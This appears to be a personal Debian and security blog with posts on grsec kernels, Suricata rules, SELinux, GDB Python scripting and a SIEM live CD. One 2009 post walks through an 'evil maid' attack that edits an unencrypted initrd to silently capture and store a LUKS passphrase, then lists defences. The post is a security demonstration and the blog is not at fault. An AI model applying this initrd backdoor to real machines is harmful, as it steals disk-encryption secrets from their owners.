Flux RSS

Wednesday, February 29 2012

grsec kernel with nvidia module

Compiling a grsec kernel on a laptop/workstation is a good way to add protection against wide classes of attacks. However, while the options may be easy to choose on a server, this may be difficult because a typical desktop needs more privileges. Here are a few points:

  • Xorg (wants privileged I/O, unless you use KMS) conflicts with PAX_NOEXEC and GRKERNSEC_IO
  • power management: applets to display the battery level want (non-root) read permission on /sys, this will conflict with GRKERNSEC_SYSFS_RESTRICT. You can enable SYSFS_DEPRECATED as a workaround.
  • power management: ACPI is required for a laptop (if you want to be able to use suspend/resume, control fan speed, etc.)
  • power management: suspend/restore conflicts with some options (PAX_MEMORY_UDEREF and PAX_KERNEXEC)
  • virtualization: PAX_KERNEXEC conflicts with kvm/vmx

If you have other points to add/corrections, just send them to me !

Now, another problem I have is that I must use the proprietary kernel. Not that I really want to, but it is the only driver with proper support for my graphics card (GT555M), since the nouveau driver has some problems here: breaks suspend to ram/disk, sucks battery (I have 2h30 of autonomy with nouveau, and about 5 with Nvidia ..), and the card is almost supported except a bug that prevents changing the brightness ! So clearly, even if I don't want to use the Nvidia stuff (proprietary, bad code, no optimus support), I have little choice

And of course, the Nvidia module does not build with a grsec kernel. I had to add patches taken and adapted from other sites, could not remember which ones). Here is a recipe to build a Debian package for module-assistant (*).

(*) Why should you build a Debian package ? Nothing forces you to do so ! That said, using a packages makes things clean when you uninstall it, does not break dependencies, allow smooth upgrades, and also allow to deploy the module on a set of machines if you have many.

0. Prerequisites

You will need a compiler and tools to build Debian packages. Install (at least) build-essential, fakeroot and devscripts

1. Get the sources of the Nvidia package

Run the following as a non-privileged user !

apt-get source nvidia-graphics-drivers
cd nvidia-graphics-drivers-295.20

2. Add patches to the build system

The Debian package is compiled to create several other packages. One of them is the nvidia-kernel-source package, which is the one we want to contain the patches. This package has to be rebuilt each time you compile a kernel, so it is interesting to use a package to make things automatic. Copy the two attached patches 991-pax-usercopy.patch and 992-pax-const.patch in the module directory, and add their names to the quilt patchset:

cp ../99*.patch debian/module/debian/patches
cd debian/module/debian/patches
ls -1 99*.patch >> series
cd -

The series file in the directory contains the patch names (one per line) in the order to be applied.

3. Add a changelog entry

dch -l+grsec1 "Add pax/grsec patches"

This changes the debian/changelog file to add a new entry, set the commit message and date, and the Debian package version.

4. Build the package

debuild -uc -us -b

This may fail if you don't have the build dependencies (add them and re-run the command).

5. Install the source package

cd ..
sudo dpkg -i nvidia-kernel-source_295.20-1+grsec11_amd64.deb

Voila ! Now, each time you need to re-build the module, just run module-assistant as usual:

n. Build the module

As root:

m-a -t clean nvidia-kernel
m-a -t -f build nvidia-kernel

The compilation makes tons of warnings about signed/unsigned, always-true comparisons etc (what did you expect). If this succeeds, you will now have a shining deb package containing the binary module.

Finish the installation:

m-a -t install nvidia-kernel

and install the libgl1-nvidia-glx etc. packages with the exact same version, to avoid problems.

Reboot, and if you're lucky you should now have a GUI :) Otherwise, check your /var/log/syslog for messages and your PaX/grsec options.

Wednesday, January 4 2012

Installing Suricata with Oinkmaster on Debian

This blog entry is a mini-howto on the installation and configuration of Suricata with Oinkmaster, on Debian. If you are familiar with the Debian commands it should take no more than five minutes.

It was tested on Debian Sid, but should work for all Debian versions.

Install Suricata

Suricata is in Debian since Squeeze, so a simple:

apt-get install suricata

will do the job.

To work, Suricata needs some rules. The package "snort-rules-default" provides some rules for Snort, but since Suricata is compatible these rules will work.

However, these rules have some problems: they are outdated (and updated only very rarely), and they are not written for Suricata (and cannot use the specific keywords). Emerging Threats provides some rules (both open source and Pro). We will now configure Oinkmaster and Suricata to be able to automatically update the signatures.

Install Oinkmaster

Oinkmaster is a tool to help you manage your signatures. While it is primarily designed for Snort, it also works for Suricata.

If you have installed Suricata using the default configuration, then Oinkmaster should be installed (it is recommended by the package). If not, run:

apt-get install oinkmaster

Edit the configuration file /etc/oinkmaster.conf:

url =  http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz

Create the directory for rules:

mkdir /etc/suricata/rules

Download the rules:

oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules

Now update Suricata's configuration (default for Debian is /etc/suricata/suricata-debian.yaml to match the paths:

classification-file: /etc/suricata/rules/classification.config
reference-config-file: /etc/suricata/rules/reference.config
default-rule-path: /etc/suricata/rules

Now, we need to update the list of rules (adding names of files /etc/suricata/rules/*.rules) in the same configuration file:

rules-files:
 - botcc.rules
 - ...

The rules are organized in files, grouped by categories. If you want to disable some categories, just comment the lines.

If you want to disable only a signature, find its sid (signature id), and add it to /etc/oinkmaster.conf:

disablesid 2011755

On the next oinkmaster update, the corresponding line will automatically be commented in the rules file.

Updating the rules

One nice feature of oinkmaster is the ability to keep the rules up to date very easily. Just run the same command:

oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules

and restart Suricata. Voila !

Some rules are updated very often (compromised hosts, etc.). You can update the rules once a week for example. Creating a cron job is trivial.

Troubleshooting

This is not related to the current blog entry, but also concerns Suricata, especially when trying to load lots of signatures.

I often got a SIGBUS (Bus error) when starting Suricata on a x86 (in a virtual machine like kvm). This seems to be caused by the process running out of memory (for this process Virtual Address space, not for the system) when trying to load lots of signatures, causing memory fragmentation and finally killing the process. So far, the workarounds are the following:

  • comment some lines to load less signatures
  • rebuild suricata without the PIE/ASLR flags (randomization is enabled by default in the Debian package)
  • run suricata on a x86-64 architecture

References

Tuesday, October 18 2011

DFF accepted into Debian

DFF (Digital Forensics Framework) has been accepted into Debian unstable.

From the website:

The Digital Forensics Framework (DFF) is both a digital investigation tool and a development platform. The framework is used by system administrators, law enforcement examinors, digital forensics researchers and > students, and security professionals world-wide. Written in Python and C++, it exclusively uses Open Source technologies.

DFF combines an intuitive user interface with a modular and cross-platform architecture.

DFF is a nice tool, combining Python and C++ (and PyQt) to provide performances, be easy to extend and provide a nice GUI. It is GPLv2, thanks to ArxSys.

If you like it, don't hesitate to contact them on the IRC channel (#digital-forensic on Freenode).

Tuesday, October 4 2011

Debian SELinux Documentation

lock

When I installed this server, I have decided to enable SELinux, and run it in enforcing mode. And it works !

Finding relevant documentation for SELinux and Debian was more difficult than expected, and even when it exists, it is often outdated. Also, It does not give real examples, and one problem I encountered very often is a policy module with correct labels, but created for another distribution, and thus not labeling Debian packages correctly. Some other distros (Gentoo and Fedora) have made huge progress on RBAC security, it would be nice to see the same on Debian.

I have started a guide for SELinux on Debian. The goals are to:

  • give a practical approach on using SELinux on Debian,
  • fight some false ideas (like not being usable on a Desktop, or that you have to enable it globally etc.),
  • describe how to mix confined and unconfined services,
  • give some examples (Cyrus IMAP, git, redmine, PostgreSQL, etc) see the examples page
  • explain how to use it with PaX/Grsec
  • give some example on using the
  • give some generic hardening tips.

Please notes that the examples and solutions given in the guide are only my own explanations and solutions, and that of course it may be wrong, or you may have a better solution. Since this is intended to be a collaborative guide, please contact me to update the guide, I'll be happy to provide a git account (help wanted !)

For the details, the guide is written in , and rendered (in HTML or PDF) using documentation generator. This allows working with very simple text format (which is diff and git friendly) and having a pretty output.

The details are in the guide. If you find it useful, please give some feedback !

The references are inside, but here's also a list of interesting links on the subject:

Monday, May 9 2011

new project: djedi

I have started a new project (yet another), pretty different from my usual programming languages: a framework for visualizing data in a browser. This framework is a Extract-Transform-Visualize tool, where data come from a database and are rendered by the browser.

Features

While some other project exist, I wanted to create a project with the following features:

  • simplicity: it provide objects (widgets) that you just place in your page as you want. It also provides dashboards to manage widgets, and in its simplest form you just give the name of a div element where a graph will be rendered.
  • modularity: every part of the project can be replaced easily by another component, either on the server-side (you only need an ajax server, not especially django) or the client-side (you can use javascript, svg, flash etc.)
  • interactive: interactions are important, to make the interface pretty, and also to navigate in data, or to enhance visualization. Most recent web toolkits allow a good number of interactions and animations (and most of them, without using flash)
  • working with big data sets: existing toolkits generally fail when dealing with big databases. Here, all requests are asynchronous and are designed to work on big tables
  • open source: Djedi is licensed under the Gnu General Public license version 3 (GPLv3) and is based on open-source libraries

Note that:

  • it does not required flash (only javascript, svg and css code for the moment), though writing flash plugins would be easy
  • it is not tied to django or python for the server
  • it is not tied to a Database (you can use any data source, be it a text file or a NoSQL DB)
  • it is currently tied to Dojo for the client-side, but only for the dashboard (not for the graphs). Using another dashboard implementation is possible (and maybe will be tested for jQuery).
  • it is not a security-only project, but more a generic-data-viz project

Targeted people include developers (to provide a quick way to add charts/data visualization to a page, add new custom widgets or render engines, etc.) and users (display and explore data, build custom dashboards).

See the details of the project on the Djedi Wiki page

Djedi Dashboard

Project Status

Current work status is the following:

  • core functions are working (queries, transforms, display, etc.)
  • a working application is provided for ulogd2
  • writing documentation is in progress
  • current implementation for application ulogd2 use python and django for the server-side, and dojo for the client-side
  • working render engines include dojo, raphael, protovis, infovis, flotr and google maps

However:

  • it is still a framework (not a ready to deploy application)
  • you need to know django

Next objectives are to document how to write a new application, write a sample application for Snorby (which can be used to display Snort, Suricata and Sagan events).

Djedi Dashboard

You can help !

Help would be appreciated, in many possible ways:

  • testing djedi
  • reporting bugs
  • looking at the documentation, and contributing if possible
  • adding feature requests
  • and, of course, contributing in the code, especially if you know javascript (I would love to see someone else writing the JS code, given how I like this language ..)

Project is managed using the Djedi Redmine page

If you want to test, contribute or are just curious join the #djedi channel on FreeNode

Monday, May 2 2011

goodbye EdenWall

Ça fait un certain temps que je n'avais rien posté, alors voici quelques news

Après un peu plus de 4 ans, j'ai décidé de repartir à l'aventure et de quitter EdenWall. C'est surtout l'occasion de remercier tous les gens que j'ai rencontré, avec qui j'ai pu travailler ou échanger quelques blagues (à leur grand désespoir parfois!).

Je remercie toute l'équipe, et en particulier Éric, Jérôme et Loïc pour leurs immenses qualités humaines et professionnelles, ces années ont été autant de fun que de travail intéressant :)

Wednesday, February 9 2011

debian squeeze and postgresql

Debian squeeze has been released, that's nice ! (With the usual rants from some trolls, of course, but it wouldn't be fun otherwise)

However, the PostgreSQL package has some problem in psql due to the fact it is using libedit instead of readline (for license reasons) :

There is a solution: you can still use psql with readline by preloading the library:

$ LD_PRELOAD=/lib/libreadline.so.6 psql

Monday, December 20 2010

Python scripts in GDB

Since version 7.0, gdb has gained the ability to execute Python scripts. This allows to write gdb extensions, commands, or manipulate data in a very easy way. It can also allow to manipulate graphic data (by spawning commands in threads), change the program, or even write a firewall (ahem ..). I'll assume you're familiar with both gdb commands and basic Python scripts.

The first and very basic test is to check a simple command

(gdb) python print "Hello, world !"
Hello, world !

So far so good. Yet, printing hello world won't help us to debug our programs :)

The reference documentation can be found here, but does not really help for really manipulating data. I'll try to give a few examples here.

The Python script

The first thing to do is to write a script (we'll call it gdb-wzdftpd.py) containing the Python commands.

We will define a command to print the Glib's type GList, with nodes and content (which is stored using a void*).

To define a new command, we have to create a new class inherited from gdb.Command. This class has two mandatory methods, __init__ and invoke.

Gdb redirects stdout and stderr to its own printing methods.

__init__

In __init__, we will define the command name, the arguments, and the type of completion that gdb can use (on files, lines, symbols etc). Gdb will automatically use the docstring from the class as the help message for the command.

class PrintGList(gdb.Command):
"""print Glib Glist: wzd_print_glist list objecttype

Iterate through the list of nodes in a GList, and display
a human-readable form of the objects."""
def __init__(self):
gdb.Command.__init__(self, "wzd_print_glist", gdb.COMMAND_DATA, gdb.COMPLETE_SYMBOL, True)

invoke

The invoke function is called when the matching gdb command is called. This is where things become interesting.

    def invoke(self, arg, from_tty):

arg is a string containing all arguments given to the command. Instead of the using split, the documentation recommends to use gdb.string_to_argv:

        arg_list = gdb.string_to_argv(arg)
if len(arg_list) < 2:
print "usage: wzd_print_glist list objecttype"
return

Here, the first argument will be the name of the symbol containing the list, and the second will be the type of the stored data.

Gdb will not allow you to manipulate objects directly (you only know the name), you have to resolve it to a gdb.Value (to get the content). There is a gdb.lookup_symbol function, but it does not seem interesting since it returns a gdb.Symbol, which has no method to get the content !

Let's resolve the list symbol in its value:

l = gdb.parse_and_eval(arg_list[0])

Now that we the list, we have to check that it's indeed a list (only because we're good guys here. If we don't, Python will just throw an exception later ..). The gdb.Type object has a code member, which is an integer and can be used for comparisons. To check the type, we will ask gdb to lookup the type of the Glist object, and since we should have a pointer, call the pointer() function of the result. Then we compare the types:

        if l.type.code != gdb.lookup_type('GList').pointer().code:
print "%s is not a GList*" % arg_list[0]
return

And now, the real work can start: printing the list. It's a doubly-linked list, and we have the first element. We just have to iterate and call another method to print the nodes:

        # iterate list and print value
while l:
self._print_node(l, t)
l = l['next']

When a gdb.Symbol points to a C structure, accessing a member (here next) is done using the Python operators.

_print_node

This function will print a basic description of the node (current address, previous and next), and the data.

To print the data, we have to cast it to the correct type: GList stores it in a void * member, which you can't of course dereference. In the invoke function, we resolve the type (to do it once and give the object to the method, instead of resolving it each times):

        try:
t = gdb.lookup_type(typename)
except RuntimeError, e:
print "type %s not found" % arg_list[1]
return

There is no clean way to get the error, gdb will throw an exception ...

Now that we have the basic type, we again call the pointer method to get the correct type, and use the cast method to convert it. If the conversion can't be done, you'll get an exception.

The we dereference the result and call the standard Python print function on it. For the moment, it will print exactly the same as if you've called the print command in gdb (we'll see later how to change that).

    def _print_node(self, node, typeobject):
print "Node at %s (prev: %s, next %s)" % (node, node['prev'], node['next'],)
data = node['data']
pdata = data.cast( typeobject.pointer() )
data = pdata.dereference()
print data

Declaring the command

To finish the script, we just have to create an instance of the class when the script is loaded. Add at the end of the script:

PrintGList()

Loading the script

Inside gdb, loading the script is done as usual with the source command:

(gdb) source gdb-wzdftpd.py

You can also tell gdb to reload automatically sourced files.

(gdb) maint set python auto-load yes

This is very useful when developing, though practically I had to completely exit gdb several times to fix weird behaviors of the commands ...

Testing

In gdb, just call the function with the required arguments:

(gdb) help wzd_print_glist
print Glib Glist: wzd_print_glist list objecttype

Iterate through the list of nodes in a GList, and display
a human-readable form of the objects.
...
(gdb) wzd_print_glist list_server_context 'struct context_server_t'
Node at 0x805eb20 (prev: 0x0, next 0x805eb40)
{type = 0, io = 0x806fe80, mode = 0, name = 0x8061850 "srv1", h = 0x806ec80, af_type = 2, host = 0x80619a8 "127.0.0.1", port = 12345, ssl = 0x0, data = 0x0}
Node at 0x805eb40 (prev: 0x805eb20, next 0x805eb50)
{type = 0, io = 0x806ff98, mode = 1, name = 0x8061b08 "srv2", h = 0x806ec80, af_type = 2, host = 0x8061bc8 "*", port = 12346, ssl = 0x80700a0, data = 0x0}
Node at 0x805eb50 (prev: 0x805eb40, next 0x0)
{type = 0, io = 0x8080438, mode = 0, name = 0x807ec90 "srv3", h = 0x806ec80, af_type = 10, host = 0x8061610 "::1", port = 12347, ssl = 0x0, data = 0x0}

Pretty print of the structure

In the precedent example, the structure is pretty simple. When you have many members, embedded structures or unions, pretty-printing the structure will be a nice improvement. Pretty-printing with gdb works in two steps:

  • define a class with a to_string method, quite similar to the __repr__ method in Python
  • define a function to match the symbol types to match, and return the above class

Printing class

  • In the init function, we store a reference on the value to print.
  • In the to_string function, we simply get the values and format them
port = self.val['port']
ret = " [%8s] %4s %16s %5d %4s" % (self.val['name'].string(), af_type, self.val['host'].string(), port, mode,)
return ret

Lookup function

The lookup function should look at the symbol attributes (we will use the type), and return the Pretty-Printing class if it matches, or None to tell gdb to continue to search.

def serverctx_lookup_function (val):
lookup_tag = val.type.tag
regex = re.compile ("^context_server_t$")
if regex.match (lookup_tag):
return ServerCtxPrinter (val)
return None

Registering the function

The lookup function must be registered in the pretty_printers list. When looking for a pretty-printer, gdb will search in the Objfile of the current program space. If no pretty-printer is found, it will then look in the program space, and if not found, in the global list.
I tried to registered in the current Objfile (using the gdb.current_objfile() function), but it always return None so I used the global namespace ..
The code should be called once, when loading the file, we append it at the end of the file.
def register_printers(objfile):
gdb.pretty_printers.append(serverctx_lookup_function)

register_printers( gdb.current_objfile () )

Testing

Print the same list:
(gdb) wzd_print_glist list_server_context 'struct context_server_t'
Node at 0x805eb20 (prev: 0x0, next 0x805eb40)
[ srv1] IPv4 127.0.0.1 12345
Node at 0x805eb40 (prev: 0x805eb20, next 0x805eb50)
[ srv2] IPv4 * 12346 TLS
Node at 0x805eb50 (prev: 0x805eb40, next 0x0)
[ srv3] IPv6 ::1 12347

What's next

Using Python scripts in gdb is really helpful, especially because gdb's internal language does not easily allow to automatize things or make complex manipulations. In this example, we only add a pretty-print function and add a way to iterate a container.

Using scripts, we can create a library of helper functions to print the status of a complex program, run checks on the state of the program etc.

References

Monday, November 29 2010

GPG transition - signatures welcome

I finally managed to issue a transition statement for my new GPG key (4096R) a,d signed it with both keys.

If you happened to sign my old 8D5F40CB key at Solutions Linux, SSTIC, or any beersigning party, and you're satisfied with the content of the transition statement, then please sign my new F1393998 key. Thanks !

Friday, November 19 2010

Project page for SIEM-live

live06.png

I've created a project in redmine for SIEM-live, so there is now a wiki, a tracker, and a repository. I'll add some documentation and instructions on how to build the CD soon.

Contributors would be gladly accepted :)

I've also updated the Git repository for recent versions of live-build, where all variables have been renamed without keeping compatibility :/

The bug where booting with no network (no DHCP, for ex.) made many command fail with a weird error message has been fixed:

could not resolve 127.0.0.1: address family for hostname not supported

For the record, this was caused by .. IPv6 ! Disabling it during the configuration sequence fixes the problem.

Monday, November 15 2010

Site migrated

As you've probably already seen, this blog and the entire site have been migrated to another hosting.

Changes include :

  • Upgrade from etch to squeeze (PHP4 to PHP5 + suhosin, grub to grub2 etc.)
  • Most services are now using PostgreSQL instead of MySQL
  • Server is installed with SELinux in enforcing mode (why ? because it's fun !)
  • IPv6 (and fun with iptables)
  • OpenLDAP + Kerberos
  • This blog had been migrated from dotclear 1 to DC2 (with some fun to keep old URLs working)
  • Trac migrated to Redmine: this will allow adding some projects
  • Git repositories
  • All cleartext URLs are redirected to SSL
  • Other (non-public) services, like postfix + greylisting, cyrus etc.

There are still some things to do, like installing real SSL certificates, but globally it has been pretty easy (and this is one reason I like Debian ). I've kept notes from the entire migration, so if someone's interested I can share some parts.

Wednesday, June 16 2010

LE pare-feu OpenOffice

Internet ça a du bon. Enfin, pas toujours .. Et en combinant une jolie boulette avec quelques outils, on peut réaliser des choses dont personne n'aurait pensé au début ...

En bref, et notamment pour faire suite au challenge que certaines personnes m'ont lancé au SSTIC 2010 (très bonne année d'ailleurs), le voila: LE pare-feu OpenOffice ! Mais attention: pas un truc codé à l'arrache, nan, un vrai pare-feu avec un design toussa

Donc, comment ça marche:

  • on veut filtrer des paquets avec OpenOffice, donc on a besoin d'OpenOffice
  • n'ayant pas eu le temps de planifier le portage d'OpenOffice en mode noyau, j'ai donc fait l'inverse: amener les paquets en espace utilisateur avec nfqueue + python
  • on manipule OO avec python-uno

Donc, je commence à coder: on crée une feuille calc avec les numéros de ports à filtrer, je récupère la valeur des cellules (et là je peux vous le dire: quand on a l'habitude de LaTeX, OO c'est pas la joie), et on s'en sert pour filtrer les paquets récupérés par nfqueue.

Premier problème: pour utiliser nfqueue, il faut être root. Et faire tourner OpenOffice en root (donc avec une interface graphique) sur le firewall, c'est pas top. Pas de problème ! On va donc séparer les idées, pour pouvoir:

  • installer la couche de filtrage (en root) sur le pare-feu
  • installer OpenOffice sur le poste de l'administrateur, avec une couche de communication entre les deux.

Donc, le design de la solution (schéma faire avec OO - et surtout du mal - pour pas multiplier les technos): Design OOwall

Pour le serveur XML-RPC, j'ai pris pyUNOserver

Après, il reste à définir le format de la feuille calc. Au départ, je comptais juste utiliser une colonne pour avoir les numéros de port à autoriser, mais quand même on fait un pare-feu qui s'adresse à des décideurs, donc va falloir faire mieux. Donc, idée: on va ajouter des colonnes pour avoir des compteurs de paquets droppés ou acceptés, et on va les mettre à jour en temps réel. Et c'est là qu'on commence à comprendre la vraie puissance du truc (ou pas): on va pouvoir faire des graphes ! Et, bonus point, ils seront remis à jour en temps réel !

Après le bla-blah, les screenshots:

Le prototype original Le prototype original

La version améliorée: La version améliorée

Et donc, le code dans tout ça ?

D'abord, on envoie tout le trafic TCP sortant vers NFQUEUE:

# iptables -A OUTPUT -o eth0 -p tcp -j NFQUEUE

On lance le serveur XML-RPC avec OpenOffice sur le poste de l'admin:

$ ./startPyUnoServer.sh &

Et, sur le pare-feu, on lance le script:

$ sudo python2.6 oowall.py
localhost - - [16/Jun/2010 22:00:37] "POST /RPC2 HTTP/1.0" 200 -
/home/pollux/oowall.ods
...

Et ça marche !

Le code est dispo (j'ai juste copié les fichiers ...) sur: http://www.wzdftpd.net/downloads/oowall/

J'ai fait une video, dispo ici: http://www.wzdftpd.net/downloads/oowall/video_oowall.avi ou sur youtube: http://www.youtube.com/watch?v=pftjkGAORkA

Conclusion

Il fallait faire mieux que le pare-feu météo, là je pense que l'objectif a été atteint. Seule déception: pas avoir pu le faire à temps pour les rumps du SSTIC :/ Maintenant, vous pourrez générer en live des statistiques, des rapports PDF, des présentations, donc la sécurité rejoint enfin le côté user-friendly.

Il y a pas mal d'évolutions possibles, notamment le fait d'utiliser des macros, pouvoir sécuriser la connexion XML-RPC etc.

Pour les performances, c'est tout simplement assez lamentable (ici j'ai ~10 paquets par seconde), mais finalement c'est mieux parce que ça empêchera surtout le peer to peer :)

update: apparemment, j'ai été un peu pessimiste, j'ai réussi à atteindre presque 200 paquets / seconde :)

Saturday, February 6 2010

Creating a live cd for open source SIEM Prelude and Suricata

I have started to work on a Live CD for Open Source tools like Prelude SIEM, and software like Suricata, Snort, OpenVAS to send alerts. The goal is to easily test these tools, register new agents, get some alerts and be able to correlate them etc. I also want to add some visualization tools, so this CD could maybe become a reference for security alert detection and report.

Prewikka

First, a few points on applications used:

  • Debian Live for building the CD. It's very easy, it's based on Debian, and it allows me to re-use some work I've done
  • Suricata IDS, which is a very promising project
  • Snort IDS, with the free signatures
  • OpenVAS to be able to generate alerts
  • Prelude SIEM is the key point: suricata, snort, syslog etc. will send alerts to Prelude, which has a database, a correlator, a web interface (Prewikka) etc.
  • Standard useful tools: nmap, scapy, wireshark, p0f, etc.

This first version is based on Debian Lenny and arch x86. Everything is based on packages (.debs) to make it easier to maintain, upgrade versions or add patches: most of the time, I just have to rebuild packages from squeeze or sid.

The build tools are:

  • Debian live (package name is live-helper, I'm running sid/unstable here)
  • About 2-3 GB of free space (including cache, chroot and image).
  • A local Debian repository for custom packages (I use reprepro)
  • (optional) a chroot or pbuilder for rebuilding packages (I use cowbuilder).

Building the CD

You need to be root for that. We'll assume you have created a container directory (for ex. LIVE_SIEM) and extracted the sources in that directory.

Configuration is done in the config subdir. Added packages are just named in packages lists (files in the config/chroot_local-packageslists/ directory). D-L is nice, since it respects dependencies so you add the name of the package and it should be enough.

Default window manager is LXDE, to have a good compromise between size, speed and features. You can change that in file config/chroot.

Default keyboard is qwerty

Just run:

* lh clean
* lh build

and wait for a few minutes. The first command cleans up the chroot and binary directories (keeping the cache), and the second will rebuild completely the cd (download required packages, install them in chroot, run hooks, create compressed image etc.). Clearly, this is not the fastest way of making changes and quickly rebuilding the ISO, and it can be quite boring if you have to test small changes .. Using individual helpers (See this page) may help.

After that, you should have a file called binary.iso in the directory.

Download

I've uploaded a very preliminary version of the iso here: http://live.nufw.org/dl/siem-live-20100205.iso

Edit

Project page: https://www.wzdftpd.net/redmine/projects/siem-live All updates and changes will be added on the project page, so check it for news (and new versions).

Changes: add GLPI, OCS Inventory, Prelude Notify and a basic homepage

This iso has:

  • A qwerty keyboard
  • Prelude + syslog + snort configured and installed, started on boot
  • OpenVAS (server and client) installed but not started (due to the number of plugins, server can take several minutes to start ..)
  • Suricata 0.8 installed and basically configured to use all snort signatures. You have to start it manually, for ex.
sudo suricata -c /etc/suricata/suricata.yaml -i eth0

and look in /var/log/suricata/*.log for alerts

  • other tools like Scapy (hint: use ipython to use it in interactive mode), OpenSCAP libraries, etc.

Test

I don't like to reboot, so to test I use VirtualBox or qemu:

qemu -net tap -net nic -boot d -cdrom {build-root}/binary.iso -m 256

During the boot sequence, the live CD will automatically configure applications:

  • create databases
  • setup a default working configuration for most applications
  • create and register Prelude profiles for all applications supporting it
  • start X, and open a browser on the local Prewikka (default login is admin/admin)

SIEM live boot

Prewikka

What to do after boot ?

The live cd is running a syslog server, you can configure some servers / equipments to send logs and they will automatically be analyzed by Prelude.

You can connect to the http server to see the Prewikka interface (default login/pass is admin/admin).

To change the keyboard layout at runtime, use setxkbmap kb, where kb is the keyboard layout to use (for ex fr or de).

Next step ?

I'm waiting for ideas / contributors / whatever :) I'll update suricata with a recent version as soon as it will have support for Prelude, and other tools. Just reply to this post (or contact me) if you have any suggestion.

Help would be appreciated to add visualization tools etc.

Edit

Git repository is up !

Wednesday, October 28 2009

implementing the evil maid attack on linux with Luks

This month, Joanna Rutkowska implemented the "evil maid" attack against TrueCrypt [1].

This kind of attack can be done on any OS with disk encryption: when using whole-disk encryption, you have to infect to bootloader. Linux includes dm-crypt/LUKS, which has some nice features (including TKS1 and working encrypted suspend-to-disk). But how does it play with this attack ?

Sadly, the answer is: pretty bad. LUKS has no protection against this attack, and even requires a /boot partition in clear. Before looking at the possible solutions, we'll play with the /boot partition to see how simple the attack is.

Linux boot sequence basics

The boot sequence (See [2]) is the following:

  • System startup: the BIOS is loaded, searches for a boot medium, loads the MBR, and yields control to it.
  • Boot loader stage 1: the job of the primary boot loader is to find and load the secondary boot loader (stage 2)
  • Boot loader stage 2: its jobs is to search and load the Linux kernel and initial RAM disk (initrd) images.
  • Linux kernel: it starts by uncompressing itself, then mounts the initrd image. This image contains modules and scripts required to find the root filesystem. After the root fs is found, the kernel switches its / partition (using the pivot_root method) and lets init continue.
  • Init: the first task executed.
Hacking the ramdisk (for fun and profit)

While dm-crypt is embedded in the Linux kernel, no solution is offered for Pre-Boot authentication. This means that the Linux and initrd images are stored on a clear partition. The job is then only to edit the initrd image, find a way to capture the passphrase when typed, and store it for later use.

Editing the initrd image

The initrd image is stored in /boot, and is a compressed cpio image:

mkdir tmp
cd tmp
gunzip < ../initrd.img-2.6.30-2-686 |  cpio -i

Early crypto and root partition

(This part was tested on a Debian sid) The initrd image contains a hierarchy of directories:

$ ls
bin  conf  etc  init  lib  sbin  scripts

The interesting file is scripts/local-top/cryptroot. This script searches for the partition to decrypt, uses a secure program to ask the passphrase (aha) in a secure memory location, and calls cryptsetup to decrypt the device. The relevant section is:

if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
      $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
 	message "cryptsetup: cryptsetup failed, bad password or options?"
 	continue
fi

Here are the steps to do:

  • display the usual message, to avoid alerting the user:
message -n "$cryptkey"
  • read the answer, without echo:
read -s BLAH
  • save it for later use. This is a bit more "difficult", since you don't have access to the filesystem at this point, and the root fs is switched anyway after. However, it seems that the /dev partition (especially when using udev) it not remounted ... let's use it:
echo $BLAH >> /dev/.blah
  • decrypt the partition as usual. We just have to adapt the decryption line:
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
     echo -n "$BLAH" | $cryptcreate --key-file=- ; then
  • finally, re-create the initrd image:
find ./ | cpio -H newc -o > initrd.cpio
gzip initrd.cpio
mv initrd.cpio.gz ../initrd.img-2.6.30-2-686

Test it

After a reboot, the boot sequence looks the same as usual and everything goes fine. Maybe except:

# cat /dev/.blah
secret

Next?

See how trivial this was ? The next step could be to get the infection process automatic, or to broadcast the passphrase in mDNS broadcasts or whatever :)

Possible solutions

The real protection is Trusted Platform Module (TPM). It's goal is to have a trusted path for the entire boot sequence (from power on, bios etc. to running OS), However, it raises concerns about its potential uses, especially for antitrust respect (Palladium?) or for the money-vampires of RIAA and friends (DRM?).

To protect against these attacks, the most basic protections can be pretty efficient (assuming you don't need a military-grade protection):

  • Set a password on your Bios, to avoid booting on USB, for ex.
  • Ensure the box can't be opened
  • Set (another) password on the bootloader, so people won't add init=/bin/bash
  • When encrypting your disks, don't forget the swap !
  • Always mount /boot as read-only, run a checksumming program like aide to detect modifications.
  • Don't forget the basics: set up good passwords, change them regularly, store them with a correct hash [3], always lock your screen, etc.

These suggestions won't cost you additional hardware, are pretty easy to do, and will at least raise your security by slowing down intrusions (which now requires to find a way to boot), and detect them easily (changed file, computer rebooted unexpectedly or opened etc.). And anyway, if someone has (physical) access to your computer for a good period of time, it's over ;)

Have fun !

Notes

[1] http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html

[2] http://www.ibm.com/developerworks/library/l-linuxboot/index.html

[3] To make PAM use sha512 instead of MD5, just add sha512 to the line containing password pam_unix.so in /etc/pam.d/common-password or the equivalent for your distro

Sunday, October 4 2009

animated charts in python and Qt

I'm currently trying to generated interactive (and animated) charts in Python + Qt. The wanted library would be:

  • portable: this is one of the reasons of the choice of PyQt
  • simple: same reason
  • interactive: I want to be able to select, for example, the slices of a pie chart. A signal of events like Qt's would be perfect
  • animated: this is useless, but looking at things like AnyChart or FusionCharts, the result is really nice !
  • light on dependencies: relying on tons of libs makes the project hard to maintain and not portable, especially for windows where there is not packaging and dependency system.
  • free software

A quick search gave me the following products:

  • matplotlib: mostly for scientific plots, but there is a nice number of options, a well-documented API.
  • pyQwt: Python bindings for Qwt. Again, it's more scientific plot than charts
  • cairoplot: projects looks dead (or in the "yeah, the project's not finished, but we're recoding it in $LANG to be faster" syndrome, which is more or less the same). It generates images, though item maps can be extracted. The name tells it, it uses Cairo.
  • pyCha: some nice charts, uses Cairo. Very simple API (not much options).
  • reportlab: not really for interactive applications, but it can generate charts (and images).
  • KD Charts: not tested. It looks nice, but the license is not free.
  • ChartDirector: not free

Globally, the result is quite a deception:

  • There is no immediate reply (yes, I'm lazy).
  • Cairo is nice for Linux projects, but is a pain to use on other platforms
  • There is nothing using Qt only, except PyQwt which cannot be used directly :/ This is surprising, especially given that Qt's API is really nice and almost offers the solution natively.
  • Charts libraries for web apps are easy to use, there seems to be nothing easy on desktop apps.

Custom version

This was pretty simple (at the beginning, at least): Qt provides two classes, QGraphicsView and QGraphicsScene, to draw objects. These classes are pretty good, and adding a PieChart, for ex, was only a matter of calculating the slices:

for d in data:
